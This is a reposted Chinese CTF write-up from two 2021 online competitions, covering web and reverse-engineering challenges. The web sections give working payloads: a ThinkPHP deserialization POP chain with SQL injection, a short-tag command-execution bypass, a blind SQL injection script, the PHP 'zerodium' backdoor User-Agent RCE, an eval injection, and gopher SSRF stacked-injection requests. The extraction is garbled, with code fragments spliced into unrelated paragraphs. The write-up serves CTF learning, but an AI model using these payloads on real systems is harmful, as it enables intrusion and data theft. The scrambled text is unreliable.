搜索

[18967] 2021-04-04_红明谷&2021虎符线上WP

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-04-04_红明谷&2021虎符线上WP 红 明 谷 & 2 0 2 1 虎 符 线 上 W P 原 创   I D L a b   I D L a b   2 0 2 1 - 0 4 - 0 4 人 生 如 一 场 修 行 ， 得 意 时 ， “ 一 日 看 尽 长 安 花 ” ， 艰 难 时 ， “ 潦 倒 新 停 浊 酒 杯 ” ， 但 生 命 的 跋 涉 不 能 回 头 ， 哪 怕 “ 畏 途 巉 岩 不 可 攀 ， 也 要 “ 会 当 凌 绝 顶 ” ， 哪 怕 “ 无 人 会 登 临 意 ” ， 也 要 “ 猛 志 固 常 在 ” ， 从 经 典 中 汲 取 “ 九 万 里 风 鹏 正 举 ” 的 力 量 ， 历 练 “ 也 无 风 雨 也 无 晴 ” 的 豁 然 ， “ 待 到 重 阳 日 ” ， 我 们 “ 还 来 就 菊 花 ” 。 点 击 上 方 点 击 上 方 蓝 字 蓝 字 关 注 我 们 关 注 我 们 两 场 比 赛 均 成 功 晋 级 决 赛 ， 全 国 线 上 排 名 分 别 为 ： 两 场 比 赛 均 成 功 晋 级 决 赛 ， 全 国 线 上 排 名 分 别 为 ： 红 明 谷 ： 红 明 谷 ： 5 0 0 支 队 伍 排 名 支 队 伍 排 名 1 2 名 名 虎 符 ： 虎 符 ： 8 3 2 支 队 伍 排 名 支 队 伍 排 名 2 9 名 名 h t t p s : / / w w w . i c h u n q i u . c o m / h m g c t f h t t p s : / / w w w . q i a n x i n . c o m / 2 0 2 1 / D C I C H F / 0 1 红 明 谷 红 明 谷 W P 0 1 W e b - e a s y t p 扫 描 得 到 w w w . z i p 文 件 ： h t t p : / / e c i - 2 z e e 6 s s q i w b l e o b i e q 3 x . c l o u d e c i 1 . i c h u n q i u . c o m / w w w . z i p     全 局 搜 索 T H I N K _ V E R S I O N 得 到 版 本 3 . 2 . 3   查 找 控 制 器 ：  
很 明 显 的 反 序 列 化 ， 构 造 P O P 链 ， 文 章 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / S 3 U n 1 E M - c f t F X r 8 h x G 4 q f A 使 用 脚 本 h t t p s : / / g i t h u b . c o m / M 0 0 n B a c k / r o g u e _ m y s q l _ s e r v e r   架 设 恶 意 m y s q l 服 务 去 读 取 文 件   读 取 了 常 规 的 f l a g 路 径 ， 发 现 没 有 ， 于 是 猜 测 f l a g 在 数 据 库 读 取 / s t a r t . s h 发 现 数 据 库 ： 但 是 r o o t 用 户 密 码 不 是 r o o t   猜 测 也 是 弱 口 令   测 试 使 用 1 2 3 4 5 6 可 以 登 录   本 地 起 T P   来 生 成 反 序 列 p o c   常 规 注 入 ， 使 用 s u b s t r i n g 进 行 截 取 即 可 得 到 数 据 库 ： c t f 找 表 名 得 到 ： f 1 4 g 列 名 ： f 1 4 g
读 取 f l a g ： < ? p h p n a m e s p a c e   T h i n k D b D r i v e r {         u s e   P D O ;         c l a s s   M y s q l {                 p r o t e c t e d   $ o p t i o n s   =   a r r a y (                         P D O : : M Y S Q L _ A T T R _ L O C A L _ I N F I L E   = >   t r u e         / /   开 启 才 能 读 取 文 件                 ) ;                 p r o t e c t e d   $ c o n f i g   =   a r r a y (                         " d e b u g "         = >   1 ,                         " d a t a b a s e "   = >   " i n f o r m a t i o n _ s c h e m a " ,                         " h o s t n a m e "   = >   " 1 2 7 . 0 . 0 . 1 " ,                         " h o s t p o r t "   = >   " 3 3 0 6 " ,                         " c h a r s e t "     = >   " u t f 8 " ,                         " u s e r n a m e "   = >   " r o o t " ,                         " p a s s w o r d "   = >   " 1 2 3 4 5 6 "                 ) ;         } } n a m e s p a c e   T h i n k I m a g e D r i v e r {         u s e   T h i n k S e s s i o n D r i v e r M e m c a c h e ;         c l a s s   I m a g i c k {                 p r i v a t e   $ i m g ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > i m g   =   n e w   M e m c a c h e ( ) ;                 }         } } n a m e s p a c e   T h i n k S e s s i o n D r i v e r {         u s e   T h i n k M o d e l ;         c l a s s   M e m c a c h e {                 p r o t e c t e d   $ h a n d l e ;                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > h a n d l e   =   n e w   M o d e l ( ) ;                 }         } } n a m e s p a c e   T h i n k {         u s e   T h i n k D b D r i v e r M y s q l ;         c l a s s   M o d e l {                 p r o t e c t e d   $ o p t i o n s       =   a r r a y ( ) ;                 p r o t e c t e d   $ p k ;                 p r o t e c t e d   $ d a t a   =   a r r a y ( ) ;                 p r o t e c t e d   $ d b   =   n u l l ;
0 2 W e b - w r i t e _ s h e l l 写 入 文 件 ， 但 是 对 $ d a t a 变 量 进 行 了 过 滤 使 用 < ? = ? >   短 标 签 即 可 绕 过 p h p 然 后 输 出 用 反 引 号 直 接 执 行 命 令 过 滤 了 空 格   p h p 里 面 % 0 9 可 以 代 表 空 格 P a y l o a d 1 :   ? a c t i o n = p w d   查 看 要 写 入 的 目 录 s a n d b o x / 4 e 5 b 0 9 b 2 1 4 9 f 7 6 1 9 c c a 1 5 5 c 8 b d 6 d 8 e e 5 /   P a y l o a d 2 :   ? a c t i o n = u p l o a d & d a t a = < ? = ` l s % 0 9 / ` ? > 用 * 来 绕 过 p h p 字 符 的 过 滤 P a y l o a d 3 :   ? a c t i o n = u p l o a d & d a t a = < ? = ` c a t % 0 9 / ! w h a t y o u w a n t g g g g g g g 4 0 1 * ` ? > 0 3 W e b - h a p p y s q l 在 登 录 发 现 存 在 S Q L 注 入 ， u s e r n a m e 参 数 使 用 的 是 双 引 号   f u z z 发 现 过 滤 了   & &   o r   a n d   ‘   `   –   空 格   =   $   l i k e   ;   o r d e r   b y   l i m i t   d e l e t e   i n s e r t   s l e e p 等 等                 p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                         $ t h i s - > d b   =   n e w   M y s q l ( ) ;                         $ t h i s - > o p t i o n s [ ' w h e r e ' ]   =   ' ' ;                         $ t h i s - > p k   =   ' i d ' ;                         $ t h i s - > d a t a [ $ t h i s - > p k ]   =   a r r a y (                                 " t a b l e "   = >   " m y s q l . u s e r   w h e r e   1 = u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   s u b s t r i n g ( g r o u p _ c o n c a t ( s c h e m a _ n a m e ) , 3 2 )   f r o m   i n f o r m a t i o n _ s c h e m a . s c h e m a t a ) ) , 1 ) # " ,                                 " w h e r e "   = >   " 1 = 1 "                         ) ;                 }         } } n a m e s p a c e   {         e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( n e w   T h i n k I m a g e D r i v e r I m a g i c k ( ) ) ) ; }
直 接 用 下 面 代 码 一 把 嗦 （ p s ： f l a g 那 块 需 要 利 用 无 列 名 注 入 ） 0 4 R e - G 0 反 编 译 后 使 用 G O _ U t i l s 导 入 符 号 表 ， 可 以 看 到 首 先 比 较 输 入 字 符 串 长 度 是 否 为 2 0 i m p o r t   o s i m p o r t   r e q u e s t s i m p o r t   s t r i n g u r l   =   " x x x x x x x x " r e q   =   r e q u e s t s . s e s s i o n ( ) s t r i n g   =   [ o r d ( i )   f o r   i   i n   ' A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 ' ] r e s   =   ' ' c h a r s   =   s t r i n g . p r i n t a b l e r e s u l t   =   " " f o r   i   i n   r a n g e ( 1 , 4 5 ) :         f o r   j   i n   c h a r s :                 d a t a   =   {                 # ' u s e r n a m e ' : ' a " | | e x p ( m a k e _ s e t ( s t r c m p ( ( l o c a t e ( b i n a r y " % s " , ( s e l e c t / * * / d a t a b a s e ( ) ) , % d ) ) , % d ) , 7 1 0 , 1 ) ) # ' % ( j , i , i ) ,   # 数 据 库                 #   ' u s e r n a m e ' : ' a " | | e x p ( m a k e _ s e t ( s t r c m p ( ( l o c a t e ( b i n a r y " % s " , ( s e l e c t / * * / g r o u p _ c o n c a t ( t a b l e _ n a m e ) / * * / f r o m / * * / m y s q l . i n n o d b _ t a b l e _ s t a t s / * * / w h e r e / * * / d a t a b a s e _ n a m e / * * / r e g e x p / * * / " c t f " ) , % d ) ) , % d ) , 7 1 0 , 1 ) ) # '                   ' u s e r n a m e ' : ' a " | | e x p ( m a k e _ s e t ( s t r c m p ( ( l o c a t e ( b i n a r y " % s " , ( s e l e c t / * * / g r o u p _ c o n c a t ( x . 2 ) / * * / f r o m / * * / ( s e l e c t / * * / 2 / * * / u n i o n / * * / s e l e c t / * * / * / * * / f r o m / * * / f 1 a g ) x ) , % d ) ) , % d ) , 7 1 0 , 1 ) ) # '                 ' p a s s w o r d ' : ' 2 1 3 '               }                       r e p   =     r e q . p o s t ( u r l , d a t a )                 t e x t   =   r e p . t e x t                 i f   ' h o m e . p h p '   i n   t e x t :                         r e s u l t   + =   j                         p r i n t ( r e s u l t )                         b r e a k
然 后 对 输 入 字 符 串 打 乱 顺 序 （ 5 位 一 组 ， A B C D - > B D C A ） ， 然 后 通 过 m a i n _ E n c o d e 加 密 ， 然 后 再 在 m a i n _ m a i n _ f u n c 1 函 数 中 比 较 结 果 。 依 次 查 看 m a i n _ E n c o d e 和 m a i n _ m a i n _ f u n c 函 数 ， 第 一 个 感 觉 是 个 b a s e 编 码 ， 采 用 字 符 表 为 “ 1 2 N r s t 6 C D q u v G 7 B e f g h J K L M E F H P Q Z a b R S T U V m y z n o 8 9 A p w x W X Y c d k i j 3 4 5 ” ， 第 二 个 比 较 结 果 的 字 符 串 为 “ 2 G V d u d k Y o 2 C B X o Q i i 7 g f p k j T c 4 g T ” ， 但 是 采 用 b a s e 6 4 解 码 不 成 功 ， 后 来 发 现 字 符 映 射 表 长 度 为 5 8 ， 采 用 b a s e 5 8 解 密 成 功 ， 得 到 打 乱 后 的 字 符 串 为 ： “ W e 1 C T 2 3 4 5 } F c 0 m _ f l a g { ” 再 次 还 原 顺 序 得 到 f l a g ： f l a g { W e 1 C T F c 0 m _ 2 3 4 5 } 0 2 虎 符 虎 符 W P 0 1 W e b - 签 到 题 签 到 题 前 几 天 爆 出 来 的 R C E （ P H P 的 供 应 链 攻 击   ） 根 据 描 述 搜 索 一 下   得 到 p o c p a y l o a d ： U s e r - A g e n t t : z e r o d i u m s y s t e m ( ' c a t   / f l a g ' ) ; F L A G 0 2 W e b - u n s e t m e 把 给 出 的 代 码 拿 去 百 度 一 下 可 以 发 现 是 f a t f r e e   框 架 ， 自 己 下 载 一 份 框 架 的 代 码 部 署 到 本 机 里 面 ， 将 i n d e x . p h p 代 码 改 成 题 目 的 代 码 即 可 进 行 本 地 调 试 。
可 以 看 到 有 e v a l 调 用 ， 用 v a r _ d u m p 打 印 会 进 去 c o m p i l e 函 数 ： 根 据 正 则 表 达 式 进 行 限 制 ， 直 接 打 印   v a r _ d u m p ( ' u n s e t ( ' . $ v a l . ' ) ; ' ) ; 就 可 以 看 到 自 己 输 入 的 代 码 是 怎 么 样 的 闭 合 一 下 ： 就 不 对 劲 了 代 码 ， 可 以 发 现 我 们 输 入 的 单 引 号 会 转 义 但 是 其 他 的 不 会 一 直 构 造 下 去 就 能 构 造 处 p o c ： / ? a = a a a a [ % 2 7 ] % 2 7 ] ) ; p h p i n f o ( ) ; / /
把 p h p i n f o 改 成 e v a l 就 行 、 直 接 上 题 目 里 开 打 即 可 P o c :   ? a = a a a a [ % 2 7 % 2 7 ] ) ; e v a l ( $ _ G E T [ 1 ] ) ; / / & 1 = s y s t e m ( % 2 7 c a t % 2 0 / f l a g % 2 7 ) ; 0 3 W e b - “ 慢 慢 做 慢 慢 做 ” 管 理 系 统 管 理 系 统 根 据 提 示 可 以 知 道 是 h a s h 注 入 账 号 任 意 密 码 ： 1 2 9 5 8 1 9 2 6 2 1 1 6 5 1 5 7 1 9 1 2 4 6 6 7 4 1 6 5 1 8 7 8 6 8 4 9 2 8 登 录 跳 转 到   s s r f 页 面 通 过 f u z z 发 现 是 堆 叠 注 入 ， 而 且 过 滤 了 s e l e c t ， 这 里 果 断 想 到 强 网 杯 的 随 便 注 ， 可 以 通 过 改 表 名 + 万 能 密 码 的 方 式 来 绕 过 s e l e c t 改 表 名 p a y l o a d ： g o p h e r : / / 1 2 7 . 0 . 0 . 1 : 8 0 / _ P O S T % 2 0 / a d m i n . p h p % 2 0 H T T P / 1 . 1 % 0 D % 0 A H o s t % 3 A % 2 0 1 2 7 . 0 . 0 . 1 % 0 D % 0 A C o n t e n t - T y p e % 3 A % 2 0 a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d % 0 D % 0 A C o n t e n t - L e n g t h % 3 A % 2 0 1 2 1 % 0 D % 0 A % 0 D % 0 A u s e r n a m e % 3 D a d m i n % 2 7 % 3 B r e n a m e % 2 0 t a b l e % 2 0 % 6 0 f a k e _ a d m i n % 6 0 % 2 0 t o % 2 0 I D L a b % 3 B r e n a m e % 2 0 t a b l e % 2 0 % 6 0 r e a l _ a d m i n _ h e r e _ d o _ y o u _ f i n d % 6 0 % 2 0 t o % 2 0 f a k e _ a d m i n % 3 B % 2 3 % 2 6 p a s s w o r d % 3 D 1 % 0 D % 0 A 万 能 密 码 p a y l a o d ： g o p h e r : / / 1 2 7 . 0 . 0 . 1 : 8 0 / _ P O S T % 2 0 / a d m i n . p h p % 2 0 H T T P / 1 . 1 % 0 D % 0 A H o s t % 3 A % 2 0 1 2 7 . 0 . 0 . 1 % 0 D % 0 A C o n t e n t - T y p e % 3 A % 2 0 a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d % 0 D % 0 A C o n t e n t - L e n g t h % 3 A % 2 0 3 4 % 0 D % 0 A % 0 D % 0 A u s e r n a m e % 3 D a d m i n % 2 7 o r % 2 7 1 % 2 7 % 3 D % 2 7 1 % 2 6 p a s s w o r d % 3 D 1 % 0 D % 0 A 执 行 p a y l o a d 可 以 得 到 用 户 名 账 号 和 密 码 登 录 p a y l o a d ： g o p h e r : / / 1 2 7 . 0 . 0 . 1 : 8 0 / _ P O S T % 2 0 / a d m i n . p h p % 2 0 H T T P / 1 . 1 % 0 D % 0 A H o s t % 3 A % 2 0 1 2 7 . 0 . 0 . 1 % 0 D % 0 A C o n t e n t - T y p e % 3 A % 2 0 a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d % 0 D % 0 A C o n t e n t - L e n g t h % 3 A % 2 0 5 6 % 0 D % 0 A % 0 D % 0 A u s e r n a m e % 3 D a d m i n % 2 6 p a s s w o r d % 3 D 5 f b 4 e 0 7 d e 9 1 4 c f c 8 2 a f b 4 4 v b a f 4 0 2 2 0 3 % 0 D % 0 A 得 到 c o o k i e ： 替 换 c o o k i e 得 到 f l a g
附 带 s s r f 专 用 编 码 脚 本 ： 0 4 R e - r e d e m p t i o n _ c o d e 代 码 分 别 把 输 入 通 过 s e r v e r _ c h e c k _ r e d e m p t i o n _ c o d e 函 数 计 算 分 别 返 回 不 等 于 - 1 和 返 回 7 表 示 成 功 ， 下 面 分 析 核 心 代 码 ： 这 段 函 数 其 实 就 是 比 较 字 符 串 ， 先 用 第 二 个 参 数 字 符 串 形 成 映 射 表 ， 再 用 第 一 个 参 数 字 符 串 从 映 射 表 中 取 对 应 的 值 ， 直 至 字 符 串 每 个 字 符 都 遍 历 完 成 ， 如 果 和 映 射 表 中 的 匹 配 则 返 回 两 个 字 符 串 匹 配 长 度 的 差 值 。 因 此 观 察 两 个 字 符 串 ： " N i n j a   M u s t   D i e   3   I s   A   C r u e l   G a m e ,   S o   H a r d   F o r   M e " 和 " I   L o v e   N i n j a   M u s t   D i e   3 .   B e a u t i f u l   A r t   A n d   M o t i v e   O p e r a t i o n   I s   C r e a t i v e . " ， 重 复 的 部 分 是 “ N i n j a   M u s t   D i e   3 ” 又 由 于 输 入 长 度 必 须 是 1 4 个 字 节 ， 因 此 “ N i n j a   M u s t   D i e ” 是 正 确 的 值 。 0 5 R e - G o E n c r y p t 大 致 算 法 是 先 用 正 则 表 达 式 检 查 输 入 格 式 是 否 为 f l a g { x x x x x x x x - x x x x - x x x x - x x x x - x x x x x x x x x x x x } i m p o r t   u r l l i b i m p o r t   r e q u e s t s p r i n t ( l e n ( " u s e r n a m e = a d m i n ' ; s h o w   t a b l e s ; # & p a s s w o r d = 1 " ) ) t e s t   = " " " P O S T   / a d m i n . p h p   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   4 0 u s e r n a m e = a d m i n ' ; s h o w   t a b l e s ; # & p a s s w o r d = 1 " " " t m p   =   u r l l i b . p a r s e . q u o t e ( t e s t ) n e w   =   t m p . r e p l a c e ( ' % 0 A ' , ' % 0 D % 0 A ' ) r e s u l t   =   ' _ ' + n e w p r i n t ( r e s u l t )
x 是 0 - 9 a - f ， 然 后 是 变 种 X T E A 加 密 ， 随 机 数 d e l t a 是 0 x 1 2 3 4 5 6 7 8 ， 写 出 解 密 脚 本 即 可 ： 0 6 R e - C r a c k M e 这 里 判 断 输 入 的 长 度 是 否 为 1 7 ， 然 后 将 前 7 位 和 后 1 0 位 分 别 存 储 到 两 个 变 量 ， 后 续 使 用 然 后 这 里 有 一 次 输 入 ， I D A 代 码 解 析 的 有 问 题 ， 逻 辑 其 实 是 错 误 的 ， 这 里 浪 费 了 好 久 。 进 入 调 试 ， 看 汇 编 才 发 现 ， 这 里 把 第 二 次 输 入 的 数 字 / 1 2 3 7 9 ， 得 到 商 和 余 数 ， 对 商 和 余 数 分 别 计 算 后 判 断 是 否 和 0 x 1 3 B 0 3 和 0 x 5 a 5 相 等 。 后 来 尝 试 几 次 发 现 8 和 6 恰 好 可 以 ， 这 样 就 得 到 第 二 次 输 入 数 为 1 2 3 7 9 * 8 + 6 = 9 9 0 3 8 ， 然 后 继 续 到 下 一 个 流 程 。 d e f   d e c r y p t ( r o u n d s ,   v ,   k ) :         v 0   =   v [ 0 ]         v 1   =   v [ 1 ]         d e l t a   =   0 x 1 2 3 4 5 6 7 8         x   =   d e l t a   *   r o u n d s         f o r   i   i n   r a n g e ( r o u n d s ) :                 v 1   - =   ( ( ( v 0   < <   4 )   ^   ( v 0   > >   5 ) )   +   v 0 )   ^   ( x   +   k [ ( x   > >   1 1 )   &   3 ] )                 v 1   =   v 1   &   0 x F F F F F F F F                 x   - =   d e l t a                 x   =   x   &   0 x F F F F F F F F                 v 0   - =   ( ( ( v 1   < <   4 )   ^   ( v 1   > >   5 ) )   +   v 1 )   ^   ( x   +   k [ x   &   3 ] )                 v 0   =   v 0   &   0 x F F F F F F F F #         v [ 0 ]   =   v 0 #         v [ 1 ]   =   v 1         r e t u r n   [ v 0 , v 1 ] i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p l a i n   =   [ 0 x 0 E C 3 1 1 F 0   , 0 x 4 5 C 7 9 A F 3 ]         k e y   =   [ 0 x 0 0 0 1 0 2 0 3 , 0 x 0 4 0 5 0 6 0 7 , 0 x 0 8 0 9 0 a 0 b , 0 x 0 c 0 d 0 e 0 f ]         r o u n d s   =   3 2         e n c r y p t e d   =   d e c r y p t ( r o u n d s ,   p l a i n ,   k e y ) p r i n t ( h e x ( e n c r y p t e d [ 0 ] ) , h e x ( e n c r y p t e d [ 1 ] ) )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理